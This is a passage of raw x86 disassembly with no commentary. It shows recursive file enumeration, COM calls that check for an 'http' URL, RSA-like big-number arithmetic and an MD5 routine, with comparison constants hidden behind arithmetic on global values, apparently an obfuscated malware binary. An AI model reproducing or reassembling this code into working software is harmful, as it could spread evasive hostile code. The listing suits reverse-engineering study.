cmp byte ptr [ecx+eax], 0
jnz short loc_423ED3
mov edx, eax
sub edx, ds:100121C0h
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 58h
jnz short loc_423F37
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_423EFA: ; CODE XREF: sub_423CF4+20Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423EFA
movsx ecx, word ptr ds:10012180h
add ecx, ds:1001209Ch
sub ecx, 0Ch
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 45h
jnz short loc_423F37
push [ebp+var_248]
push esi
call sub_422E53
add esp, 8
loc_423F37: ; CODE XREF: sub_423CF4+1A8j
; sub_423CF4+1D8j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call dword ptr ds:1000F258h
mov ebx, eax
movsx eax, word ptr ds:100120E0h
movsx edx, word ptr ds:10012154h
add eax, edx
sub eax, 7
neg eax
cmp ebx, eax
jz loc_42400E
cmp [ebp+var_112], 2Eh
jz loc_42400A
lea eax, [ebp+var_112]
push eax
push esi
push 10012769h
lea eax, [ebp+var_242]
push eax
call dword ptr ds:10011634h
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_423CF4
add esp, 1Ch
jmp short loc_42400A
; ---------------------------------------------------------------------------
loc_423FA8: ; CODE XREF: sub_423CF4+318j
lea eax, [ebp+var_13E]
push eax
push ebx
call dword ptr ds:1000D004h
mov edi, eax
or edi, edi
jnz short loc_423FD2
push [ebp+var_248]
call dword ptr ds:10011630h
pop ecx
push ebx
call dword ptr ds:1000E608h
jmp short loc_42400E
; ---------------------------------------------------------------------------
loc_423FD2: ; CODE XREF: sub_423CF4+2C6j
cmp [ebp+var_112], 2Eh
jz short loc_42400A
lea eax, [ebp+var_112]
push eax
push esi
push 10012769h
lea eax, [ebp+var_242]
push eax
call dword ptr ds:10011634h
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_423CF4
add esp, 1Ch
loc_42400A: ; CODE XREF: sub_423CF4+27Dj
; sub_423CF4+2B2j ...
or edi, edi
jnz short loc_423FA8
loc_42400E: ; CODE XREF: sub_423CF4+270j
; sub_423CF4+2DCj
pop edi
pop esi
pop ebx
leave
retn
sub_423CF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424013 proc near ; CODE XREF: sub_4232A3+120p
var_270 = byte ptr -270h
var_26C = dword ptr -26Ch
var_267 = byte ptr -267h
var_203 = byte ptr -203h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 270h
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000E5FCh
lea eax, [ebp+var_267]
push eax
call sub_41C3F2
push 10012764h
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
lea eax, [ebp+var_267]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000C020h
push 1001275Ch
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
add esp, 24h
push 0
mov eax, ds:10012174h
movsx edx, word ptr ds:10012090h
add eax, edx
sub eax, 0Ah
push eax
push 3
push 0
movsx eax, word ptr ds:100120D0h
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10011788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4240C3
mov eax, 2Ah
jmp short loc_42412C
; ---------------------------------------------------------------------------
loc_4240C3: ; CODE XREF: sub_424013+A7j
push 0
lea eax, [ebp+var_270]
push eax
push 0FFh
lea eax, [ebp+var_203]
push eax
push edi
call dword ptr ds:1000C028h
mov [ebp+var_26C], eax
push edi
call dword ptr ds:10010650h
mov eax, ds:1001218Ch
add eax, ds:1001215Ch
sub eax, 5
cmp [ebp+var_26C], eax
jnz short loc_424109
mov eax, 2Ah
jmp short loc_42412C
; ---------------------------------------------------------------------------
loc_424109: ; CODE XREF: sub_424013+EDj
movzx eax, [ebp+var_203]
movsx edx, word ptr ds:10012090h
add edx, 20h
cmp eax, edx
jge short loc_424125
mov eax, 2Ah
jmp short loc_42412C
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_424013+109j
movzx eax, [ebp+var_203]
loc_42412C: ; CODE XREF: sub_424013+AEj
; sub_424013+F4j ...
pop edi
pop esi
leave
retn
sub_424013 endp
; =============== S U B R O U T I N E =======================================
sub_424130 proc near ; CODE XREF: sub_4223D9+270p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
movsx eax, word ptr ds:10012170h
dec eax
cmp ecx, eax
jge short loc_42416E
movsx eax, word ptr ds:10012180h
dec eax
imul ecx, eax
mov eax, ds:10012178h
sub eax, 2
mov edx, esi
add edx, eax
movsx eax, word ptr ds:10012090h
add eax, 3
imul edx, eax
sub ecx, edx
jmp loc_42429E
; ---------------------------------------------------------------------------
loc_42416E: ; CODE XREF: sub_424130+11j
dec ecx
movsx eax, word ptr ds:10012090h
mov edx, ds:100120F8h
lea eax, [eax+edx+11h]
cmp ecx, eax
jge short loc_4241A5
mov eax, ds:1001212Ch
sub eax, 3
imul ecx, eax
mov eax, ecx
sub eax, esi
mov edx, ds:10012104h
add edx, 0Ah
mov ecx, eax
sub ecx, edx
jmp loc_42429E
; ---------------------------------------------------------------------------
loc_4241A5: ; CODE XREF: sub_424130+52j
dec ecx
movsx eax, word ptr ds:10012110h
add eax, 1Eh
cmp ecx, eax
jge short loc_4241DA
mov eax, ds:10012184h
add eax, ds:10012130h
sub eax, 3
imul ecx, eax
mov eax, ds:10012178h
add eax, 3Ah
add eax, ds:10012144h
sub ecx, eax
jmp loc_42429E
; ---------------------------------------------------------------------------
loc_4241DA: ; CODE XREF: sub_424130+82j
dec ecx
mov eax, ds:10012120h
add eax, 22h
cmp ecx, eax
jge short loc_424201
mov eax, ds:100121C4h
sub eax, 3
imul ecx, eax
mov eax, ds:100120B8h
add eax, 42h
sub ecx, eax
jmp loc_42429E
; ---------------------------------------------------------------------------
loc_424201: ; CODE XREF: sub_424130+B5j
dec ecx
mov eax, ds:100121C0h
add eax, 24h
movsx edx, word ptr ds:100120E8h
add eax, edx
cmp ecx, eax
jge short loc_424235
mov eax, ds:100121C0h
dec eax
imul ecx, eax
mov eax, ds:100120FCh
add eax, 48h
movsx edx, word ptr ds:100120E8h
add eax, edx
sub ecx, eax
jmp short loc_42429E
; ---------------------------------------------------------------------------
loc_424235: ; CODE XREF: sub_424130+E5j
dec ecx
mov eax, ds:10012178h
add eax, 30h
add eax, ds:100121B8h
cmp ecx, eax
jge short loc_424265
mov eax, ds:10012178h
add eax, ds:10012164h
dec eax
imul ecx, eax
movsx eax, word ptr ds:100120BCh
add eax, 61h
sub ecx, eax
jmp short loc_42429E
; ---------------------------------------------------------------------------
loc_424265: ; CODE XREF: sub_424130+116j
dec ecx
movsx eax, word ptr ds:1001216Ch
lea eax, [eax+eax+31h]
cmp ecx, eax
jge short loc_42428E
mov eax, ds:1001212Ch
sub eax, 3
imul ecx, eax
movsx eax, word ptr ds:1001219Ch
add eax, 6Ah
sub ecx, eax
jmp short loc_42429E
; ---------------------------------------------------------------------------
loc_42428E: ; CODE XREF: sub_424130+143j
mov eax, ds:1001212Ch
add eax, 30h
add eax, ds:100120B8h
sub ecx, eax
loc_42429E: ; CODE XREF: sub_424130+39j
; sub_424130+70j ...
mov eax, ecx
pop esi
retn
sub_424130 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242A2 proc near ; CODE XREF: .data:004229F0p
var_10034 = dword ptr -10034h
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10003 = byte ptr -10003h
var_10002 = byte ptr -10002h
var_10001 = byte ptr -10001h
var_10000 = byte ptr -10000h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10034h
call sub_424F4D
push ebx
push esi
push edi
cmp dword ptr ds:100122B0h, 0
jnz short loc_4242CF
mov eax, ds:1001214Ch
add eax, 4
cmp ds:1000E61Ch, eax
jb loc_4244FE
loc_4242CF: ; CODE XREF: sub_4242A2+17j
lea eax, [ebp+var_10020]
push eax
call dword ptr ds:1000C038h
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
mov eax, ds:100120F8h
sub eax, 2
push eax
push [ebp+arg_0]
call dword ptr ds:1000F254h
mov edi, eax
mov eax, ds:10012190h
add eax, ds:10012098h
sub eax, 0Ah
cmp edi, eax
jnz loc_4244FE
mov esi, [ebp+var_10018]
and [ebp+var_1000C], 0
lea eax, [ebp+var_1000C]
push eax
push 1001397Ch
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, ds:100121C0h
sub eax, 3
cmp edi, eax
jnz loc_4244FE
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
cmp edi, ds:100121A4h
jnz loc_4244F8
lea eax, [ebp+var_10003]
push eax
push [ebp+var_10024]
call sub_41ADCD
add esp, 8
mov edx, eax
inc edx
mov [ebp+var_10034], edx
push [ebp+var_10024]
call dword ptr ds:10011BA0h
cmp [ebp+var_10003], 68h
jnz short loc_4243BA
cmp [ebp+var_10002], 74h
jnz short loc_4243BA
cmp [ebp+var_10001], 74h
jnz short loc_4243BA
cmp [ebp+var_10000], 70h
jz short loc_4243BF
loc_4243BA: ; CODE XREF: sub_4242A2+FBj
; sub_4242A2+104j ...
jmp loc_4244F8
; ---------------------------------------------------------------------------
loc_4243BF: ; CODE XREF: sub_4242A2+116j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, ds:10012160h
add eax, ds:10012158h
sub eax, 8
cmp edi, eax
jnz loc_4244F8
lea eax, [ebp+var_4]
push eax
push 100138FCh
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, ds:100120B4h
sub eax, 8
cmp edi, eax
jnz loc_4244EC
lea eax, [ebp+var_10008]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
mov eax, ds:100120E4h
add eax, ds:10012144h
sub eax, 7
cmp edi, eax
jnz loc_4244E3
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
movsx eax, word ptr ds:10012128h
add eax, ds:100120F8h
sub eax, 2
cmp edi, eax
jz short loc_424477
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp short loc_4244E3
; ---------------------------------------------------------------------------
loc_424477: ; CODE XREF: sub_4242A2+1C5j
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_10008], eax
jz short loc_42448A
xor ebx, ebx
inc ebx
loc_42448A: ; CODE XREF: sub_4242A2+1E3j
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
or ebx, ebx
jnz short loc_4244E3
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
mov eax, ds:100120A8h
sub eax, 3
cmp edi, eax
jnz short loc_4244E3
push [ebp+var_1002C]
push [ebp+var_4]
call nullsub_1
push [ebp+var_1002C]
push [ebp+var_4]
call sub_423996
add esp, 10h
loc_4244E3: ; CODE XREF: sub_4242A2+198j
; sub_4242A2+1D3j ...
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_4244EC: ; CODE XREF: sub_4242A2+16Dj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_4244F8: ; CODE XREF: sub_4242A2+C4j
; sub_4242A2:loc_4243BAj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_4244FE: ; CODE XREF: sub_4242A2+27j
; sub_4242A2+6Ej ...
pop edi
pop esi
pop ebx
leave
retn
sub_4242A2 endp
; ---------------------------------------------------------------------------
db 90h
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424505 proc near ; CODE XREF: sub_41B3A8+13p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
cld
mov edi, [ebp+arg_4]
mov eax, 1
stosd
mov ecx, 0Fh
dec eax
rep stosd
lea edi, ds:100139CCh
mov esi, [ebp+arg_0]
mov ecx, 10h
rep movsd
mov edi, [ebp+arg_8]
call sub_4245D0
xor edx, edx
loc_424535: ; CODE XREF: sub_424505+52j
push edx
push ebx
mov eax, [ebp+arg_8]
bt [eax], edx
jnb short loc_424547
mov edx, [ebp+arg_4]
call sub_424561
loc_424547: ; CODE XREF: sub_424505+38j
lea edx, ds:100139CCh
call sub_424561
pop ebx
pop edx
inc edx
cmp edx, ebx
jbe short loc_424535
popa
pop ebp
retn 10h
sub_424505 endp
; ---------------------------------------------------------------------------
dw 8B2Eh
db 0C0h
; =============== S U B R O U T I N E =======================================
sub_424561 proc near ; CODE XREF: sub_424505+3Dp
; sub_424505+48p
lea edi, ds:1001398Ch
mov ecx, 10h
xor eax, eax
rep stosd
lea edi, ds:100139CCh
call sub_4245D0
loc_42457B: ; CODE XREF: sub_424561+5Dj
lea edi, ds:1001398Ch
mov ecx, 10h
xor eax, eax
loc_424588: ; CODE XREF: sub_424561+2Cj
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_424588
call sub_4245E1
bt ds:100139CCh, ebx
jnb short loc_4245BD
mov esi, edx
lea edi, ds:1001398Ch
xor eax, eax
mov ecx, 10h
loc_4245AC: ; CODE XREF: sub_424561+55j
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_4245AC
call sub_4245E1
loc_4245BD: ; CODE XREF: sub_424561+3Aj
dec ebx
jns short loc_42457B
mov edi, edx
lea esi, ds:1001398Ch
mov ecx, 10h
rep movsd
retn
sub_424561 endp
; =============== S U B R O U T I N E =======================================
sub_4245D0 proc near ; CODE XREF: sub_424505+29p
; sub_424561+15p
mov ebx, 1FFh
loc_4245D5: ; CODE XREF: sub_4245D0+Bj
bt [edi], ebx
jb short locret_4245DD
dec ebx
jnz short loc_4245D5
locret_4245DD: ; CODE XREF: sub_4245D0+8j
retn
sub_4245D0 endp
; ---------------------------------------------------------------------------
dw 8B2Eh
db 0C0h
; =============== S U B R O U T I N E =======================================
sub_4245E1 proc near ; CODE XREF: sub_424561+2Ep
; sub_424561+57p
lea esi, ds:1001398Ch
mov edi, [ebp+14h]
mov ecx, 0Fh
loc_4245EF: ; CODE XREF: sub_4245E1+19j
mov eax, [esi+ecx*4]
cmp eax, [edi+ecx*4]
jb short locret_424618
ja short loc_4245FC
dec ecx
jns short loc_4245EF
loc_4245FC: ; CODE XREF: sub_4245E1+16j
mov esi, [ebp+14h]
lea edi, ds:1001398Ch
xor eax, eax
mov ecx, 10h
loc_42460C: ; CODE XREF: sub_4245E1+35j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_42460C
locret_424618: ; CODE XREF: sub_4245E1+14j
retn
sub_4245E1 endp
; =============== S U B R O U T I N E =======================================
sub_424619 proc near ; CODE XREF: sub_42466A+32p
; sub_42466A+50p ...
mov eax, ebx
and eax, ecx
push ebx
not ebx
and ebx, edx
or eax, ebx
pop ebx
retn
sub_424619 endp
; =============== S U B R O U T I N E =======================================
sub_424626 proc near ; CODE XREF: sub_42466A+219p
; sub_42466A+238p ...
mov eax, ebx
and eax, edx
push edx
not edx
and edx, ecx
or eax, edx
pop edx
retn
sub_424626 endp
; =============== S U B R O U T I N E =======================================
sub_424633 proc near ; CODE XREF: sub_42466A+420p
; sub_42466A+43Fp ...
mov eax, ebx
xor eax, ecx
xor eax, edx
retn
sub_424633 endp
; =============== S U B R O U T I N E =======================================
sub_42463A proc near ; CODE XREF: sub_42466A+627p
; sub_42466A+645p ...
mov eax, edx
not eax
or eax, ebx
xor eax, ecx
retn
sub_42463A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424643 proc near ; CODE XREF: sub_41C68E+6Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov dword ptr [edi], 67452301h
mov dword ptr [edi+4], 0EFCDAB89h
mov dword ptr [edi+8], 98BADCFEh
mov dword ptr [edi+0Ch], 10325476h
popa
pop ebp
retn 4
sub_424643 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42466A proc near ; CODE XREF: sub_41C68E+8Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [edi]
mov ds:10013A0Ch, eax
mov eax, [edi+4]
mov ds:10013A10h, eax
mov eax, [edi+8]
mov ds:10013A14h, eax
mov eax, [edi+0Ch]
mov ds:10013A18h, eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424619
add eax, [edi]
add eax, [esi]
add eax, 0D76AA478h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424619
add eax, [edi+0Ch]
add eax, [esi+4]
add eax, 0E8C7B756h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424619
add eax, [edi+8]
add eax, [esi+8]
add eax, 242070DBh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424619
add eax, [edi+4]
add eax, [esi+0Ch]
add eax, 0C1BDCEEEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424619
add eax, [edi]
add eax, [esi+10h]
add eax, 0F57C0FAFh
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424619
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A8304613h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424619
add eax, [edi+4]
add eax, [esi+1Ch]
add eax, 0FD469501h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424619
add eax, [edi]
add eax, [esi+20h]
add eax, 698098D8h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424619
add eax, [edi+0Ch]
add eax, [esi+24h]
add eax, 8B44F7AFh
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424619
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFFF5BB1h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424619
add eax, [edi+4]
add eax, [esi+2Ch]
add eax, 895CD7BEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424619
add eax, [edi]
add eax, [esi+30h]
add eax, 6B901122h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424619
add eax, [edi+0Ch]
add eax, [esi+34h]
add eax, 0FD987193h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424619
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0A679438Eh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424619
add eax, [edi+4]
add eax, [esi+3Ch]
add eax, 49B40821h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424626
add eax, [edi]
add eax, [esi+4]
add eax, 0F61E2562h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424626
add eax, [edi+0Ch]
add eax, [esi+18h]
add eax, 0C040B340h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424626
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 265E5A51h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424626
add eax, [edi+4]
add eax, [esi]
add eax, 0E9B6C7AAh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424626
add eax, [edi]
add eax, [esi+14h]
add eax, 0D62F105Dh
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424626
add eax, [edi+0Ch]
add eax, [esi+28h]
add eax, 2441453h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424626
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 0D8A1E681h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424626
add eax, [edi+4]
add eax, [esi+10h]
add eax, 0E7D3FBC8h
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424626
add eax, [edi]
add eax, [esi+24h]
add eax, 21E1CDE6h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424626
add eax, [edi+0Ch]
add eax, [esi+38h]
add eax, 0C33707D6h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424626
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0F4D50D87h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424626
add eax, [edi+4]
add eax, [esi+20h]
add eax, 455A14EDh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424626
add eax, [edi]
add eax, [esi+34h]
add eax, 0A9E3E905h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424626
add eax, [edi+0Ch]
add eax, [esi+8]
add eax, 0FCEFA3F8h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424626
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 676F02D9h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424626
add eax, [edi+4]
add eax, [esi+30h]
add eax, 8D2A4C8Ah
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424633
add eax, [edi]
add eax, [esi+14h]
add eax, 0FFFA3942h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424633
add eax, [edi+0Ch]
add eax, [esi+20h]
add eax, 8771F681h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424633
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 6D9D6122h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424633
add eax, [edi+4]
add eax, [esi+38h]
add eax, 0FDE5380Ch
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424633
add eax, [edi]
add eax, [esi+4]
add eax, 0A4BEEA44h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424633
add eax, [edi+0Ch]
add eax, [esi+10h]
add eax, 4BDECFA9h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424633
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 0F6BB4B60h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424633
add eax, [edi+4]
add eax, [esi+28h]
add eax, 0BEBFBC70h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424633
add eax, [edi]
add eax, [esi+34h]
add eax, 289B7EC6h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424633
add eax, [edi+0Ch]
add eax, [esi]
add eax, 0EAA127FAh
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424633
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0D4EF3085h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424633
add eax, [edi+4]
add eax, [esi+18h]
add eax, 4881D05h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_424633
add eax, [edi]
add eax, [esi+24h]
add eax, 0D9D4D039h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_424633
add eax, [edi+0Ch]
add eax, [esi+30h]
add eax, 0E6DB99E5h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_424633
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 1FA27CF8h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_424633
add eax, [edi+4]
add eax, [esi+8]
add eax, 0C4AC5665h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_42463A
add eax, [edi]
add eax, [esi]
add eax, 0F4292244h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_42463A
add eax, [edi+0Ch]
add eax, [esi+1Ch]
add eax, 432AFF97h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_42463A
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0AB9423A7h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_42463A
add eax, [edi+4]
add eax, [esi+14h]
add eax, 0FC93A039h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_42463A
add eax, [edi]
add eax, [esi+30h]
add eax, 655B59C3h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_42463A
add eax, [edi+0Ch]
add eax, [esi+0Ch]
add eax, 8F0CCC92h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
